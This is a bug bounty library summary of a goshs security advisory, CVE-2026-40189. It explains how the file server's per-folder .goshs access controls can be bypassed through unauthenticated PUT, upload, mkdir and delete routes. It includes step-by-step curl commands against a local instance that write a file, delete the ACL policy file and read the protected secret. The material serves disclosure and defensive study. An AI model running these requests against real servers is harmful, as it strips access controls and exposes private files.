# goshs has a file-based ACL authorization bypass in goshs state-changing routes

goshs enforces .goshs folder ACLs on reads but not on PUT/upload/mkdir/delete, letting unauthenticated attackers delete the .goshs policy file and read protected content.

- Payout: Research
- Severity: critical
- Program: goshs
- Found by: R1ZZG0D
- Disclosed: 2026-04-10
- CVE: CVE-2026-40189
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wvhv-qcqf-f3cx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wvhv-qcqf-f3cx
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** goshs HTTP file server state-changing routes (PUT, POST /upload, ?mkdir, ?delete)
**Root cause:** Authorization via the per-folder .goshs ACL is only applied in read/list handlers; mutation handlers (PUT, multipart upload, mkdir, delete) route directly to filesystem operations without resolving the folder ACL.
**Steps:**
1. Build goshs and create root/protected with a .goshs ACL file and secret.txt inside.
2. Start server: `/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091`.
3. Confirm read is protected: `curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'` returns 401.
4. Unauthenticated write: `curl -X PUT --data-binary 'injected via PUT' 'http://127.0.0.1:18091/protected/put-created.txt'` returns 200.
5. Delete the ACL file: `curl 'http://127.0.0.1:18091/protected/.goshs?delete'` returns 200.
6. Read now-unprotected file: `curl 'http://127.0.0.1:18091/protected/secret.txt'` returns 200 with 'top secret'.
**How found:** Reporter compared the documented .goshs ACL feature against the code: read/list handlers call findSpecialFile() and enforce acl.Auth, but server.go and handler.go route PUT, /upload, ?mkdir and ?delete straight to filesystem functions with no ACL lookup.
**Exploitation:** Remote unauthenticated attacker sends PUT, multipart POST /upload, ?mkdir, or ?delete requests targeting a .goshs-protected folder. Deleting the .goshs file removes the folder's auth policy, after which the attacker reads previously protected files without credentials.
**Escalation:** Deleting the .goshs policy file itself converts an unauthorized-write primitive into full removal of the folder's auth barrier, exposing all protected content.
**Insight:** When a project documents a per-resource ACL file, enumerate every route that mutates that resource's directory — especially delete — and check whether the ACL file itself is protected from deletion, since removing the policy file is often the cheapest bypass.

## Proof of concept (copied exactly from the original report)

**curl PUT, delete .goshs, read secret**

```
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
  --data-binary 'injected via PUT' \
  'http://127.0.0.1:18091/protected/put-created.txt'

# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/.goshs?delete'

# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'
```

